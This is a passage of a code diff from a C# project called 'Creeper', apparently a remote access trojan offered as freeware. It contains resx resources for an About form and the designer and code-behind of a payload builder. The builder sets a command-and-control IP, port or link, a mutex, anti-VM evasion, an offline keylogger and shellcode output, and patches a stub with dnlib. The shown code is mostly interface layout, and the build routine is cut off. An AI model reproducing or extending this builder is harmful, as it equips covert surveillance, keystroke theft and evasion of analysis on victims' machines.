<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<metadata name="updateUI.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||
<value>17, 17</value>
|
||||
</metadata>
|
||||
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
|
||||
<data name="label.Font" type="System.Drawing.Font, System.Drawing">
|
||||
<value>Segoe UI, 15pt</value>
|
||||
</data>
|
||||
<data name="label.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>229, 29</value>
|
||||
</data>
|
||||
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
||||
<data name="label.Margin" type="System.Windows.Forms.Padding, System.Windows.Forms">
|
||||
<value>30, 0, 30, 0</value>
|
||||
</data>
|
||||
<data name="label.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>551, 150</value>
|
||||
</data>
|
||||
<assembly alias="mscorlib" name="mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
||||
<data name="label.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>1</value>
|
||||
</data>
|
||||
<data name="label.Text" xml:space="preserve">
|
||||
<value>Remote Administrator Tool (Creeper)
|
||||
|
||||
This program is freeware.You use it at your own risk.</value>
|
||||
</data>
|
||||
<data name=">>label.Name" xml:space="preserve">
|
||||
<value>label</value>
|
||||
</data>
|
||||
<data name=">>label.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.Label, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>label.Parent" xml:space="preserve">
|
||||
<value>panel</value>
|
||||
</data>
|
||||
<data name=">>label.ZOrder" xml:space="preserve">
|
||||
<value>0</value>
|
||||
</data>
|
||||
<data name="pictureBox.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>29, 29</value>
|
||||
</data>
|
||||
<data name="pictureBox.Margin" type="System.Windows.Forms.Padding, System.Windows.Forms">
|
||||
<value>20, 20, 20, 20</value>
|
||||
</data>
|
||||
<data name="pictureBox.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>150, 150</value>
|
||||
</data>
|
||||
<data name="pictureBox.SizeMode" type="System.Windows.Forms.PictureBoxSizeMode, System.Windows.Forms">
|
||||
<value>StretchImage</value>
|
||||
</data>
|
||||
<data name="pictureBox.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>0</value>
|
||||
</data>
|
||||
<data name=">>pictureBox.Name" xml:space="preserve">
|
||||
<value>pictureBox</value>
|
||||
</data>
|
||||
<data name=">>pictureBox.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.PictureBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>pictureBox.Parent" xml:space="preserve">
|
||||
<value>panel</value>
|
||||
</data>
|
||||
<data name=">>pictureBox.ZOrder" xml:space="preserve">
|
||||
<value>1</value>
|
||||
</data>
|
||||
<data name="panel.Dock" type="System.Windows.Forms.DockStyle, System.Windows.Forms">
|
||||
<value>Fill</value>
|
||||
</data>
|
||||
<data name="panel.Location" type="System.Drawing.Point, System.Drawing">
|
||||
<value>0, 0</value>
|
||||
</data>
|
||||
<data name="panel.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>819, 506</value>
|
||||
</data>
|
||||
<data name="panel.TabIndex" type="System.Int32, mscorlib">
|
||||
<value>0</value>
|
||||
</data>
|
||||
<data name=">>panel.Name" xml:space="preserve">
|
||||
<value>panel</value>
|
||||
</data>
|
||||
<data name=">>panel.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.Panel, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>panel.Parent" xml:space="preserve">
|
||||
<value>$this</value>
|
||||
</data>
|
||||
<data name=">>panel.ZOrder" xml:space="preserve">
|
||||
<value>0</value>
|
||||
</data>
|
||||
<metadata name="$this.Localizable" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
|
||||
<value>True</value>
|
||||
</metadata>
|
||||
<data name="$this.AutoScaleDimensions" type="System.Drawing.SizeF, System.Drawing">
|
||||
<value>7, 15</value>
|
||||
</data>
|
||||
<data name="$this.ClientSize" type="System.Drawing.Size, System.Drawing">
|
||||
<value>819, 506</value>
|
||||
</data>
|
||||
<data name="$this.Font" type="System.Drawing.Font, System.Drawing">
|
||||
<value>Segoe UI, 9pt</value>
|
||||
</data>
|
||||
<data name="$this.Margin" type="System.Windows.Forms.Padding, System.Windows.Forms">
|
||||
<value>3, 4, 3, 4</value>
|
||||
</data>
|
||||
<data name="$this.Text" xml:space="preserve">
|
||||
<value>childFormAbout</value>
|
||||
</data>
|
||||
<data name=">>updateUI.Name" xml:space="preserve">
|
||||
<value>updateUI</value>
|
||||
</data>
|
||||
<data name=">>updateUI.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.Timer, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name=">>$this.Name" xml:space="preserve">
|
||||
<value>childFormAbout</value>
|
||||
</data>
|
||||
<data name=">>$this.Type" xml:space="preserve">
|
||||
<value>System.Windows.Forms.Form, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
</root>
|
|
@ -0,0 +1,125 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<data name="label.Text" xml:space="preserve">
|
||||
<value>Creeper远程控制工具
|
||||
|
||||
请合法使用此软件。</value>
|
||||
</data>
|
||||
</root>
|
|
@ -0,0 +1,309 @@
|
|||
|
||||
using System.ComponentModel;
|
||||
using System.Windows.Forms;
|
||||
using Creeper.Controls;
|
||||
|
||||
namespace Creeper.ChildForms
|
||||
{
|
||||
partial class childFormBuilder
|
||||
{
|
||||
/// <summary>
|
||||
/// Required designer variable.
|
||||
/// </summary>
|
||||
private IContainer components = null;
|
||||
|
||||
/// <summary>
|
||||
/// Clean up any resources being used.
|
||||
/// </summary>
|
||||
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && (components != null))
|
||||
{
|
||||
components.Dispose();
|
||||
}
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
#region Windows Form Designer generated code
|
||||
|
||||
/// <summary>
|
||||
/// Required method for Designer support - do not modify
|
||||
/// the contents of this method with the code editor.
|
||||
/// </summary>
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = new System.ComponentModel.Container();
|
||||
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(childFormBuilder));
|
||||
this.panelbuilderback = new System.Windows.Forms.Panel();
|
||||
this.panel1 = new System.Windows.Forms.Panel();
|
||||
this.groupBoxothers = new System.Windows.Forms.GroupBox();
|
||||
this.labelversion = new System.Windows.Forms.Label();
|
||||
this.radioButtonnet35 = new System.Windows.Forms.RadioButton();
|
||||
this.radioButtonnet40 = new System.Windows.Forms.RadioButton();
|
||||
this.checkBoxshellcode = new System.Windows.Forms.CheckBox();
|
||||
this.buttonbuild = new System.Windows.Forms.Button();
|
||||
this.numericUpDownsleep = new System.Windows.Forms.NumericUpDown();
|
||||
this.toggleButtonofflinekeylogger = new Creeper.Controls.ToggleButton();
|
||||
this.toggleButtonantivm = new Creeper.Controls.ToggleButton();
|
||||
this.labelsleep = new System.Windows.Forms.Label();
|
||||
this.labelmutex = new System.Windows.Forms.Label();
|
||||
this.textBoxmutex = new System.Windows.Forms.TextBox();
|
||||
this.labelgroup = new System.Windows.Forms.Label();
|
||||
this.textBoxgroup = new System.Windows.Forms.TextBox();
|
||||
this.labelofflinekeylogger = new System.Windows.Forms.Label();
|
||||
this.labelantivm = new System.Windows.Forms.Label();
|
||||
this.groupBoxipport = new System.Windows.Forms.GroupBox();
|
||||
this.labellink = new System.Windows.Forms.Label();
|
||||
this.toggleButtonip = new Creeper.Controls.ToggleButton();
|
||||
this.textBoxlink = new System.Windows.Forms.TextBox();
|
||||
this.textBoxip = new System.Windows.Forms.TextBox();
|
||||
this.labelport = new System.Windows.Forms.Label();
|
||||
this.textBoxport = new System.Windows.Forms.TextBox();
|
||||
this.labelgetipbylink = new System.Windows.Forms.Label();
|
||||
this.labelip = new System.Windows.Forms.Label();
|
||||
this.updateUI = new System.Windows.Forms.Timer(this.components);
|
||||
this.panelbuilderback.SuspendLayout();
|
||||
this.panel1.SuspendLayout();
|
||||
this.groupBoxothers.SuspendLayout();
|
||||
((System.ComponentModel.ISupportInitialize)(this.numericUpDownsleep)).BeginInit();
|
||||
this.groupBoxipport.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
//
|
||||
// panelbuilderback
|
||||
//
|
||||
resources.ApplyResources(this.panelbuilderback, "panelbuilderback");
|
||||
this.panelbuilderback.Controls.Add(this.panel1);
|
||||
this.panelbuilderback.Name = "panelbuilderback";
|
||||
//
|
||||
// panel1
|
||||
//
|
||||
this.panel1.Controls.Add(this.groupBoxothers);
|
||||
this.panel1.Controls.Add(this.groupBoxipport);
|
||||
resources.ApplyResources(this.panel1, "panel1");
|
||||
this.panel1.Name = "panel1";
|
||||
//
|
||||
// groupBoxothers
|
||||
//
|
||||
resources.ApplyResources(this.groupBoxothers, "groupBoxothers");
|
||||
this.groupBoxothers.Controls.Add(this.labelversion);
|
||||
this.groupBoxothers.Controls.Add(this.radioButtonnet35);
|
||||
this.groupBoxothers.Controls.Add(this.radioButtonnet40);
|
||||
this.groupBoxothers.Controls.Add(this.checkBoxshellcode);
|
||||
this.groupBoxothers.Controls.Add(this.buttonbuild);
|
||||
this.groupBoxothers.Controls.Add(this.numericUpDownsleep);
|
||||
this.groupBoxothers.Controls.Add(this.toggleButtonofflinekeylogger);
|
||||
this.groupBoxothers.Controls.Add(this.toggleButtonantivm);
|
||||
this.groupBoxothers.Controls.Add(this.labelsleep);
|
||||
this.groupBoxothers.Controls.Add(this.labelmutex);
|
||||
this.groupBoxothers.Controls.Add(this.textBoxmutex);
|
||||
this.groupBoxothers.Controls.Add(this.labelgroup);
|
||||
this.groupBoxothers.Controls.Add(this.textBoxgroup);
|
||||
this.groupBoxothers.Controls.Add(this.labelofflinekeylogger);
|
||||
this.groupBoxothers.Controls.Add(this.labelantivm);
|
||||
this.groupBoxothers.Name = "groupBoxothers";
|
||||
this.groupBoxothers.TabStop = false;
|
||||
//
|
||||
// labelversion
|
||||
//
|
||||
resources.ApplyResources(this.labelversion, "labelversion");
|
||||
this.labelversion.Name = "labelversion";
|
||||
//
|
||||
// radioButtonnet35
|
||||
//
|
||||
resources.ApplyResources(this.radioButtonnet35, "radioButtonnet35");
|
||||
this.radioButtonnet35.Name = "radioButtonnet35";
|
||||
this.radioButtonnet35.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// radioButtonnet40
|
||||
//
|
||||
resources.ApplyResources(this.radioButtonnet40, "radioButtonnet40");
|
||||
this.radioButtonnet40.Checked = true;
|
||||
this.radioButtonnet40.Name = "radioButtonnet40";
|
||||
this.radioButtonnet40.TabStop = true;
|
||||
this.radioButtonnet40.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// checkBoxshellcode
|
||||
//
|
||||
resources.ApplyResources(this.checkBoxshellcode, "checkBoxshellcode");
|
||||
this.checkBoxshellcode.Name = "checkBoxshellcode";
|
||||
this.checkBoxshellcode.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// buttonbuild
|
||||
//
|
||||
resources.ApplyResources(this.buttonbuild, "buttonbuild");
|
||||
this.buttonbuild.Name = "buttonbuild";
|
||||
this.buttonbuild.UseVisualStyleBackColor = true;
|
||||
this.buttonbuild.Click += new System.EventHandler(this.buttonbuild_Click);
|
||||
//
|
||||
// numericUpDownsleep
|
||||
//
|
||||
resources.ApplyResources(this.numericUpDownsleep, "numericUpDownsleep");
|
||||
this.numericUpDownsleep.Name = "numericUpDownsleep";
|
||||
//
|
||||
// toggleButtonofflinekeylogger
|
||||
//
|
||||
this.toggleButtonofflinekeylogger.BackColor = System.Drawing.Color.Transparent;
|
||||
this.toggleButtonofflinekeylogger.Checked = false;
|
||||
this.toggleButtonofflinekeylogger.Cursor = System.Windows.Forms.Cursors.Hand;
|
||||
resources.ApplyResources(this.toggleButtonofflinekeylogger, "toggleButtonofflinekeylogger");
|
||||
this.toggleButtonofflinekeylogger.Name = "toggleButtonofflinekeylogger";
|
||||
//
|
||||
// toggleButtonantivm
|
||||
//
|
||||
this.toggleButtonantivm.BackColor = System.Drawing.Color.Transparent;
|
||||
this.toggleButtonantivm.Checked = false;
|
||||
this.toggleButtonantivm.Cursor = System.Windows.Forms.Cursors.Hand;
|
||||
resources.ApplyResources(this.toggleButtonantivm, "toggleButtonantivm");
|
||||
this.toggleButtonantivm.Name = "toggleButtonantivm";
|
||||
//
|
||||
// labelsleep
|
||||
//
|
||||
resources.ApplyResources(this.labelsleep, "labelsleep");
|
||||
this.labelsleep.Name = "labelsleep";
|
||||
//
|
||||
// labelmutex
|
||||
//
|
||||
resources.ApplyResources(this.labelmutex, "labelmutex");
|
||||
this.labelmutex.Name = "labelmutex";
|
||||
//
|
||||
// textBoxmutex
|
||||
//
|
||||
resources.ApplyResources(this.textBoxmutex, "textBoxmutex");
|
||||
this.textBoxmutex.Name = "textBoxmutex";
|
||||
//
|
||||
// labelgroup
|
||||
//
|
||||
resources.ApplyResources(this.labelgroup, "labelgroup");
|
||||
this.labelgroup.Name = "labelgroup";
|
||||
//
|
||||
// textBoxgroup
|
||||
//
|
||||
resources.ApplyResources(this.textBoxgroup, "textBoxgroup");
|
||||
this.textBoxgroup.Name = "textBoxgroup";
|
||||
//
|
||||
// labelofflinekeylogger
|
||||
//
|
||||
resources.ApplyResources(this.labelofflinekeylogger, "labelofflinekeylogger");
|
||||
this.labelofflinekeylogger.Name = "labelofflinekeylogger";
|
||||
//
|
||||
// labelantivm
|
||||
//
|
||||
resources.ApplyResources(this.labelantivm, "labelantivm");
|
||||
this.labelantivm.Name = "labelantivm";
|
||||
//
|
||||
// groupBoxipport
|
||||
//
|
||||
resources.ApplyResources(this.groupBoxipport, "groupBoxipport");
|
||||
this.groupBoxipport.Controls.Add(this.labellink);
|
||||
this.groupBoxipport.Controls.Add(this.toggleButtonip);
|
||||
this.groupBoxipport.Controls.Add(this.textBoxlink);
|
||||
this.groupBoxipport.Controls.Add(this.textBoxip);
|
||||
this.groupBoxipport.Controls.Add(this.labelport);
|
||||
this.groupBoxipport.Controls.Add(this.textBoxport);
|
||||
this.groupBoxipport.Controls.Add(this.labelgetipbylink);
|
||||
this.groupBoxipport.Controls.Add(this.labelip);
|
||||
this.groupBoxipport.Name = "groupBoxipport";
|
||||
this.groupBoxipport.TabStop = false;
|
||||
//
|
||||
// labellink
|
||||
//
|
||||
resources.ApplyResources(this.labellink, "labellink");
|
||||
this.labellink.Name = "labellink";
|
||||
//
|
||||
// toggleButtonip
|
||||
//
|
||||
this.toggleButtonip.BackColor = System.Drawing.Color.Transparent;
|
||||
this.toggleButtonip.Checked = false;
|
||||
this.toggleButtonip.Cursor = System.Windows.Forms.Cursors.Hand;
|
||||
resources.ApplyResources(this.toggleButtonip, "toggleButtonip");
|
||||
this.toggleButtonip.Name = "toggleButtonip";
|
||||
this.toggleButtonip.MouseClick += new System.Windows.Forms.MouseEventHandler(this.toggleButtonip_MouseClick);
|
||||
//
|
||||
// textBoxlink
|
||||
//
|
||||
resources.ApplyResources(this.textBoxlink, "textBoxlink");
|
||||
this.textBoxlink.Name = "textBoxlink";
|
||||
//
|
||||
// textBoxip
|
||||
//
|
||||
resources.ApplyResources(this.textBoxip, "textBoxip");
|
||||
this.textBoxip.Name = "textBoxip";
|
||||
//
|
||||
// labelport
|
||||
//
|
||||
resources.ApplyResources(this.labelport, "labelport");
|
||||
this.labelport.Name = "labelport";
|
||||
//
|
||||
// textBoxport
|
||||
//
|
||||
resources.ApplyResources(this.textBoxport, "textBoxport");
|
||||
this.textBoxport.Name = "textBoxport";
|
||||
//
|
||||
// labelgetipbylink
|
||||
//
|
||||
resources.ApplyResources(this.labelgetipbylink, "labelgetipbylink");
|
||||
this.labelgetipbylink.Name = "labelgetipbylink";
|
||||
//
|
||||
// labelip
|
||||
//
|
||||
resources.ApplyResources(this.labelip, "labelip");
|
||||
this.labelip.Name = "labelip";
|
||||
//
|
||||
// updateUI
|
||||
//
|
||||
this.updateUI.Enabled = true;
|
||||
this.updateUI.Interval = 1000;
|
||||
this.updateUI.Tick += new System.EventHandler(this.updateUI_Tick);
|
||||
//
|
||||
// childFormBuilder
|
||||
//
|
||||
resources.ApplyResources(this, "$this");
|
||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
this.Controls.Add(this.panelbuilderback);
|
||||
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
|
||||
this.Name = "childFormBuilder";
|
||||
this.ShowInTaskbar = false;
|
||||
this.panelbuilderback.ResumeLayout(false);
|
||||
this.panel1.ResumeLayout(false);
|
||||
this.groupBoxothers.ResumeLayout(false);
|
||||
this.groupBoxothers.PerformLayout();
|
||||
((System.ComponentModel.ISupportInitialize)(this.numericUpDownsleep)).EndInit();
|
||||
this.groupBoxipport.ResumeLayout(false);
|
||||
this.groupBoxipport.PerformLayout();
|
||||
this.ResumeLayout(false);
|
||||
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
private Panel panelbuilderback;
|
||||
private Panel panel1;
|
||||
private GroupBox groupBoxipport;
|
||||
private TextBox textBoxip;
|
||||
private Label labelport;
|
||||
private TextBox textBoxport;
|
||||
private Label labelip;
|
||||
private ToggleButton toggleButtonip;
|
||||
private TextBox textBoxlink;
|
||||
private Label labelgetipbylink;
|
||||
private Label labellink;
|
||||
private Timer updateUI;
|
||||
private GroupBox groupBoxothers;
|
||||
private ToggleButton toggleButtonantivm;
|
||||
private Label labelgroup;
|
||||
private TextBox textBoxgroup;
|
||||
private Label labelantivm;
|
||||
private Button buttonbuild;
|
||||
private NumericUpDown numericUpDownsleep;
|
||||
private Label labelsleep;
|
||||
private ToggleButton toggleButtonofflinekeylogger;
|
||||
private Label labelofflinekeylogger;
|
||||
private Label labelmutex;
|
||||
private TextBox textBoxmutex;
|
||||
private CheckBox checkBoxshellcode;
|
||||
private Label labelversion;
|
||||
private RadioButton radioButtonnet35;
|
||||
private RadioButton radioButtonnet40;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,231 @@
|
|||
using System;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
using Creeper.Properties;
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
|
||||
namespace Creeper.ChildForms
|
||||
{
|
||||
public partial class childFormBuilder : Form
|
||||
{
|
||||
public childFormBuilder()
|
||||
{
|
||||
InitializeComponent();
|
||||
SetTheme();
|
||||
}
|
||||
|
||||
private bool previoustheme;
|
||||
private void updateUI_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (previoustheme != Settings.Default.darkTheme)
|
||||
{
|
||||
previoustheme = Settings.Default.darkTheme;
|
||||
SetTheme();
|
||||
}
|
||||
}
|
||||
private void SetTheme()
|
||||
{
|
||||
bool darkTheme = Settings.Default.darkTheme;
|
||||
|
||||
Color colorSide = darkTheme ? Settings.Default.colorsidedark : Settings.Default.colorside;
|
||||
Color colorText = darkTheme ? Settings.Default.colortextdark : Settings.Default.colortext;
|
||||
|
||||
BackColor = colorSide;
|
||||
ForeColor = colorText;
|
||||
|
||||
groupBoxipport.ForeColor = colorText;
|
||||
groupBoxothers.ForeColor = colorText;
|
||||
textBoxlink.BackColor = colorSide;
|
||||
textBoxlink.ForeColor = colorText;
|
||||
textBoxip.BackColor = colorSide;
|
||||
textBoxip.ForeColor = colorText;
|
||||
textBoxport.ForeColor = colorText;
|
||||
textBoxport.BackColor = colorSide;
|
||||
textBoxgroup.ForeColor = colorText;
|
||||
textBoxgroup.BackColor = colorSide;
|
||||
numericUpDownsleep.BackColor = colorSide;
|
||||
numericUpDownsleep.ForeColor = colorText;
|
||||
|
||||
}
|
||||
|
||||
private void toggleButtonip_MouseClick(object sender, MouseEventArgs e)
|
||||
{
|
||||
if (toggleButtonip.Checked)
|
||||
{
|
||||
textBoxlink.Enabled = true;
|
||||
textBoxip.Enabled = false;
|
||||
textBoxport.Enabled = false;
|
||||
}
|
||||
else
|
||||
{
|
||||
textBoxlink.Enabled = false;
|
||||
textBoxip.Enabled = true;
|
||||
textBoxport.Enabled = true;
|
||||
}
|
||||
}
|
||||
|
||||
private readonly Random random = new Random();
|
||||
const string alphabet = "asdfghjklqwertyuiopmnbvcxz";
|
||||
|
||||
public string getRandomCharacters()
|
||||
{
|
||||
var sb = new StringBuilder();
|
||||
for (int i = 1; i <= new Random().Next(10, 20); i++)
|
||||
{
|
||||
var randomCharacterPosition = random.Next(0, alphabet.Length);
|
||||
sb.Append(alphabet[randomCharacterPosition]);
|
||||
}
|
||||
return sb.ToString();
|
||||
}
|
||||
|
||||
private void buttonbuild_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (!toggleButtonip.Checked && (string.IsNullOrWhiteSpace(textBoxip.Text) || string.IsNullOrWhiteSpace(textBoxport.Text))) return;
|
||||
if (string.IsNullOrWhiteSpace(textBoxmutex.Text)) textBoxmutex.Text = getRandomCharacters();
|
||||
if (toggleButtonip.Checked && string.IsNullOrWhiteSpace(textBoxlink.Text)) return;
|
||||
if (string.IsNullOrWhiteSpace(textBoxgroup.Text)) textBoxgroup.Text = "Default";
|
||||
|
||||
ModuleDefMD asmDef = null;
|
||||
try
|
||||
{
|
||||
#if DEBUG
|
||||
MessageBox.Show("Can not built in Debug mode");
|
||||
return;
|
||||
#else
|
||||
